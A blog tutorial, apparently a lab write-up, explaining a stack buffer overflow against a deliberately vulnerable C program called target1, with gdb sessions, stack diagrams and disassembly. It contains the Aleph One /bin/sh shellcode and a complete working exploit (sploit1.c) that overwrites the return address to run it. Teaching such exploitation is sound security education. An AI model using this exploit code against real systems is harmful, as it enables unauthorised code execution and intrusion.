Blog Bug's

bugging blogs

on Target 1…

Suggested readings :
Smashing The Stack For Fun And Profit
RMS’s gdb Tutorial

We will try to explain most of the concepts in this part (Target 1) and should serve as reference for other parts (Targets 2 to 5). We hope that understanding this part thoroughly will make (solving) other parts easier. We also assume that you have read the suggested readings above.

Examining /tmp/target1 in Detail

code of executable /tmp/target1 (target1.c) :

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int bar(char *arg, char *out)
{
  strcpy(out, arg);
  return 0;
}

int foo(char *argv[])
{
  char buf[256];
  bar(argv[1], buf);
}

int main(int argc, char *argv[])
{
  if (argc != 2)
    {
      fprintf(stderr, "target1: argc != 2\n");
      exit(EXIT_FAILURE);
    }
  foo(argv);
  return 0;
}

The code above is exploitable since there’s no check as to the length of argv[1] (arg in bar function) in foo function and may be longer than buf[256]. To overflow it, argv[1]‘s length must be greater than 256. The code below is a sample program that can exploit the code above. The program (./sploit1) calls the executable (/tmp/target1) above with an argument (aaaa) as data to argv[1], i.e. ./sploit1 executes /tmp/target1 aaaa in the environment shell using execve function.

modified code of executable ./sploit1 (shellcode.h and sploit1.c respectively) :

/*
 * Aleph One shellcode.
 */
static char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";
#include
#include
#include
#include
#include "shellcode.h"

#define TARGET "/tmp/target1"

int main(void)
{
  char *args[3];
  char *env[1];
  char buf[265];
  int i;

  // this loop will modify contents of buf
  for(i = 0; i < 5; i++) {
    if(i < 4) {
      *(buf + i) = 'a';
    } else {
      *(buf + i) = '\x00'; // terminate with null
    }
  }

  args[0] = TARGET; args[1] = buf; args[2] = NULL;   env[0] = NULL;

  if (0 > execve(TARGET, args, env))
    fprintf(stderr, "execve failed.\n");

  return 0;
}

For now, we will use aaaa as data to examine /tmp/target1 memory-wise. Use gdb to execute sploit1 and to use symbol file of target1 with command, gdb -e sploit1 -s /tmp/target1 (this is sort of indirectly executing command /tmp/target1 aaaa on the shell through sploit1). Don’t forget to catch exec before running the program with run command.

user@box:~/pp1/sploits$ gdb -e sploit1 -s /tmp/target1
GNU gdb 6.8-debian
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
(gdb) catch exec
Catchpoint 1 (exec)
(gdb) run
Starting program: /home/user/pp1/sploits/sploit1
Executing new program: /proc/2824/exe
/proc/2824/exe: Permission denied.

Set breaks at functions main, foo, and bar.

(gdb) break main
Breakpoint 1 at 0x804848c: file target1.c, line 19.
(gdb) break foo
Breakpoint 2 at 0x804845c: file target1.c, line 14.
(gdb) break bar
Breakpoint 3 at 0x804843a: file target1.c, line 7.

Continue running the program with continue command and the program should stop at main (since we set a break at main). We can inspect main‘s frame with info frame command.

(gdb) continue
Continuing.
[New process 2824]
[Switching to process 2824]

Breakpoint 2, main (argc=2, argv=0xbfffff24) at target1.c:19
19	target1.c: No such file or directory.
	in target1.c
(gdb) info frame
Stack level 0, frame at 0xbffffe90:
 eip = 0x804848c in main (target1.c:19); saved eip 0xb7e98455
 source language c.
 Arglist at 0xbffffe88, args: argc=2, argv=0xbfffff24
 Locals at 0xbffffe88, Previous frame's sp at 0xbffffe84
 Saved registers:
  ebp at 0xbffffe88, eip at 0xbffffe8c

Continue running the program and examine foo‘s frame.

(gdb) continue
Continuing.

Breakpoint 3, foo (argv=0xbfffff24) at target1.c:14
14	in target1.c
(gdb) info frame
Stack level 0, frame at 0xbffffe70:
 eip = 0x804845c in foo (target1.c:14); saved eip 0x80484d3
 called by frame at 0xbffffe90
 source language c.
 Arglist at 0xbffffe68, args: argv=0xbfffff24
 Locals at 0xbffffe68, Previous frame's sp is 0xbffffe70
 Saved registers:
  ebp at 0xbffffe68, eip at 0xbffffe6c

Let’s also examine variables and parameters of foo‘s frame with x command.

(gdb) x buf
0xbffffd68:	0x07b1ea71
(gdb) x 0xbffffe68
0xbffffe68:	0xbffffe88
(gdb) x 0xbffffe6c
0xbffffe6c:	0x080484d3
(gdb) x 0xbffffe70
0xbffffe70:	0xbfffff24

Results of gdb tell us that foo‘s frame can be visualize as :

[     -local_var-      ][   -ebp-   ][   -eip-   ][ -params-  ]
[bffffd--              ][bffffe--   ][bffffe--   ][bffffe--   ]  -> first 3 bytes of addresses
[68|69|6a|6b|... ...|67][68|69|6a|6b][6c|6d|6e|6f][70|71|72|73]  -> last bytes of addresses
[71|ea|b1|07|...    ...][88|fe|ff|bf][d3|84|04|08][24|ff|ff|bf]  -> data
|------256 bytes-------||--4 bytes--||--4 bytes--||--4 bytes--|

Local variable buf starts at address 0xbffffd68. Counting 256 bytes (buf[256]) after will be ebp (sfp) at address 0xbffffe68. 4 bytes after at 0xbffffe6c will be eip (ret). And parameter *argv[] (pointer to argv which is in 0xbfffff24) will be at 0xbffffe70. From here we confirmed c‘s stack frame layout.

Continue running the program and examine bar‘s frame.

(gdb) continue
Continuing.

Breakpoint 4, bar (arg=0xbfffffea "aaaa", out=0xbffffd68 "q��\a\003") at target1.c:7
7	in target1.c
(gdb) info frame
Stack level 0, frame at 0xbffffd50:
 eip = 0x804843a in bar (target1.c:7); saved eip 0x8048476
 called by frame at 0xbffffe70
 source language c.
 Arglist at 0xbffffd48, args: arg=0xbfffffea "aaaa", out=0xbffffd68 "q��\a\003"
 Locals at 0xbffffd48, Previous frame's sp is 0xbffffd50
 Saved registers:
  ebp at 0xbffffd48, eip at 0xbffffd4c
(gdb) x 0xbffffd48
0xbffffd48:	0xbffffe68
(gdb) x 0xbffffd4c
0xbffffd4c:	0x08048476
(gdb) x 0xbffffd50
0xbffffd50:	0xbfffffea
(gdb) x 0xbffffd54
0xbffffd54:	0xbffffd68

We can visualize bar‘s frame as :

[   -ebp-   ][   -eip-   ][       -params-        ]
[bffffd--   ][bffffd--   ][bffffd--               ]  -> first 3 bytes of addresses
[48|49|4a|4b][4c|4d|4e|4f][50|51|52|53|54|55|56|57]  -> last bytes of addresses
[68|fe|ff|bf][76|84|04|08][ea|ff|ff|bf|68|fd|ff|bf]  -> data

Note that bar‘s frame has no local variables and we can confirm that with its (target1.c) code. We also confirmed that stack frames grow leftwards, i.e. they grow towards lower address space. Results of gdb tell us that address space of bar‘s frame (starts at 0xbffffd48) is lower than that of foo’s (starts at 0xbffffd68) and main’s frame (starts at 0xbffffe88), knowing that main function calls foo function which in turn calls bar function.

EBP(SFP – Stack Frame Pointer) and EIP(RET) Workings

From the previous section, ebp in bar‘s frame is at 0xbffffd48 which points to address oxbffffe68. Examining foo‘s frame, that address (0xbffffe68) is actually foo‘s ebp which in turn points to main‘s ebp at 0xbffffe88. From here, we confirmed that in the called function‘s frame, pointer to the calling function‘s frame is stored in its (called function‘s) ebp.

Also, eip in bar‘s frame is at 0xbffffd4c which points to address 0x08048476. Examining  foo‘s assembly below, that address (0x08048476) is actually the address after a call to bar function (see lines 44 and 45 below). This is also true to main calling foo. We can confirm that foo‘s ebp will point to 0x080484d3 (see lines 25 and 26 below). From here, we confirmed that in the called function‘s frame, pointer to the calling function‘s next instruction is stored in its (called function‘s) eip.

assembly of main, foo, and bar with disassemble command :

(gdb) disassemble main
Dump of assembler code for function main:
0x08048478 <main+0>:	lea    0x4(%esp),%ecx
0x0804847c <main+4>:	and    $0xfffffff0,%esp
0x0804847f <main+7>:	pushl  -0x4(%ecx)
0x08048482 <main+10>:	push   %ebp
0x08048483 <main+11>:	mov    %esp,%ebp
0x08048485 <main+13>:	push   %ecx
0x08048486 <main+14>:	sub    $0x14,%esp
0x08048489 <main+17>:	mov    %ecx,-0x8(%ebp)
0x0804848c <main+20>:	mov    -0x8(%ebp),%eax
0x0804848f <main+23>:	cmpl   $0x2,(%eax)
0x08048492 <main+26>:	je     0x80484c5 <main+77>
0x08048494 <main+28>:	mov    0x80496d8,%eax
0x08048499 <main+33>:	mov    %eax,0xc(%esp)
0x0804849d <main+37>:	movl   $0x13,0x8(%esp)
0x080484a5 <main+45>:	movl   $0x1,0x4(%esp)
0x080484ad <main+53>:	movl   $0x80485b0,(%esp)
0x080484b4 <main+60>:	call   0x8048358 <fwrite@plt>
0x080484b9 <main+65>:	movl   $0x1,(%esp)
0x080484c0 <main+72>:	call   0x8048368 <exit@plt>
0x080484c5 <main+77>:	mov    -0x8(%ebp),%edx
0x080484c8 <main+80>:	mov    0x4(%edx),%eax
0x080484cb <main+83>:	mov    %eax,(%esp)
0x080484ce <main+86>:	call   0x8048453 <foo>
0x080484d3 <main+91>:	mov    $0x0,%eax
0x080484d8 <main+96>:	add    $0x14,%esp
0x080484db <main+99>:	pop    %ecx
0x080484dc <main+100>:	pop    %ebp
0x080484dd <main+101>:	lea    -0x4(%ecx),%esp
0x080484e0 <main+104>:	ret
End of assembler dump.
(gdb) disassemble foo
Dump of assembler code for function foo:
0x08048453 <foo+0>:	push   %ebp
0x08048454 <foo+1>:	mov    %esp,%ebp
0x08048456 <foo+3>:	sub    $0x118,%esp
0x0804845c <foo+9>:	mov    0x8(%ebp),%eax
0x0804845f <foo+12>:	add    $0x4,%eax
0x08048462 <foo+15>:	mov    (%eax),%edx
0x08048464 <foo+17>:	lea    -0x100(%ebp),%eax
0x0804846a <foo+23>:	mov    %eax,0x4(%esp)
0x0804846e <foo+27>:	mov    %edx,(%esp)
0x08048471 <foo+30>:	call   0x8048434 <bar>
0x08048476 <foo+35>:	leave
0x08048477 <foo+36>:	ret
End of assembler dump.
(gdb) disassemble bar
Dump of assembler code for function bar:
0x08048434 <bar+0>:	push   %ebp
0x08048435 <bar+1>:	mov    %esp,%ebp
0x08048437 <bar+3>:	sub    $0x8,%esp
0x0804843a <bar+6>:	mov    0x8(%ebp),%eax
0x0804843d <bar+9>:	mov    %eax,0x4(%esp)
0x08048441 <bar+13>:	mov    0xc(%ebp),%eax
0x08048444 <bar+16>:	mov    %eax,(%esp)
0x08048447 <bar+19>:	call   0x8048348 <strcpy@plt>
0x0804844c <bar+24>:	mov    $0x0,%eax
0x08048451 <bar+29>:	leave
0x08048452 <bar+30>:	ret
End of assembler dump.

Buffer Overflow

To overflow the buffer (buf), our input buffer to /tmp/target1 must be greater than 256. Adding 4 bytes more will overflow foo‘s buf and will overwrite foo‘s ebp in bar‘s strcpy function. Add another 4 bytes more and we will overwrite foo‘s eip. If the buffer will be null(‘\x00’) terminated, we need at least 265 bytes of input to buffer overflow. Our goal is to overwrite foo‘s eip (next instruction pointer) and make it point to the the start of foo‘s buf which is at 0xbffffd68 and which contains the shellcode.

We can visualize the buffer overflow as :

[     -local_var-      ][   -ebp-   ][   -eip-   ][ -params-  ]
[bffffd--              ][bffffe--   ][bffffe--   ][bffffe--   ]  -> first 3 bytes of addresses
[68|69|6a|6b|... ...|67][68|69|6a|6b][6c|6d|6e|6f][70|71|72|73]  -> last bytes of addresses
[71|ea|b1|07|...    ...][88|fe|ff|bf][d3|84|04|08][24|ff|ff|bf]  -> data

[<nop>...   <shellcode>][<filler>...][68|fd|ff|bf][00|        ]  -> buffer overflow
|--------------------265 bytes-----------------------|

Now edit sploit1.c to reflect buffer overflow data above and compile.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include "shellcode.h"

#define TARGET "/tmp/target1"

int main(void)
{
  char *args[3];
  char *env[1];
  char buf[265];
  int i;
  int addr;

  // this loop will modify contents of buf
  addr = 0xbffffd68;
  for(i = 0; i < 265; i++) {
    if(i < (256-strlen(shellcode))) {
      *(buf + i) = '\x90'; // <nop>
    } else if(i < 256) {
      *(buf + i) = shellcode[i - 256 + strlen(shellcode)]; // <shellcode>
    } else if(i < 260) {
      *(buf + i) = '\x90'; // <ebp>
    } else if(i < 264) {
      *(buf + i) = addr >> ((i-260)*8); // <eip>
    } else {
      *(buf + i) = '\x00'; // terminate with null
    }
  }

  args[0] = TARGET; args[1] = buf; args[2] = NULL;
  env[0] = NULL;

  if (0 > execve(TARGET, args, env))
    fprintf(stderr, "execve failed.\n");

  return 0;
}

Running ./sploit1 will still not work, since we added variable addr (line 15 above) which effectively changes main‘s stack frame and theoretically should shift left (to lower address space) both foo‘s and bar‘s stack frame. So, check addresses again and you’ll need to change buf (variable addr) address from 0xbffffd68 to 0xbffffc68.

user@box:~/pp1/sploits$ gdb -e sploit1 -s /tmp/target1
GNU gdb 6.8-debian
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
(gdb) catch exec
Catchpoint 1 (exec)
(gdb) run
Starting program: /home/user/pp1/sploits/sploit1
Executing new program: /proc/3065/exe
/proc/3065/exe: Permission denied.
(gdb) break foo
Breakpoint 2 at 0x804845c: file target1.c, line 14.
(gdb) continue
Continuing.
[New process 3065]
[Switching to process 3065]

Breakpoint 2, foo (argv=0xbffffe24) at target1.c:14
14	target1.c: No such file or directory.
	in target1.c
(gdb) info frame
Stack level 0, frame at 0xbffffd70:
 eip = 0x804845c in foo (target1.c:14); saved eip 0x80484d3
 called by frame at 0xbffffd90
 source language c.
 Arglist at 0xbffffd68, args: argv=0xbffffe24
 Locals at 0xbffffd68, Previous frame's sp is 0xbffffd70
 Saved registers:
  ebp at 0xbffffd68, eip at 0xbffffd6c
(gdb) x buf
0xbffffc68:	0x07b1ea71

The code (sploit1.c) should now work.

posted by ninoy in Hack 101 and have Comments (3)

3 Responses to “on Target 1…”

  1. vendors says:

    I would like to exchange links with your site blogs.hulmahan.com.ph
    Is this possible?

  2. Akshay says:

    Why did you take the size of buffer as 265??
    I think we just need 8 extra bytes 4 to overwrite frame pointer and other 4 for return address.
    Or you just need it for storing null string?

  3. ninoy says:

    ‘I think we just need 8 extra bytes 4 to overwrite frame pointer and other 4 for return address.’
    – true

    ‘Or you just need it for storing null string?
    – not necessary and can be omitted

Place your comment

Please fill your data and comment below.
Name
Email
Website
Your comment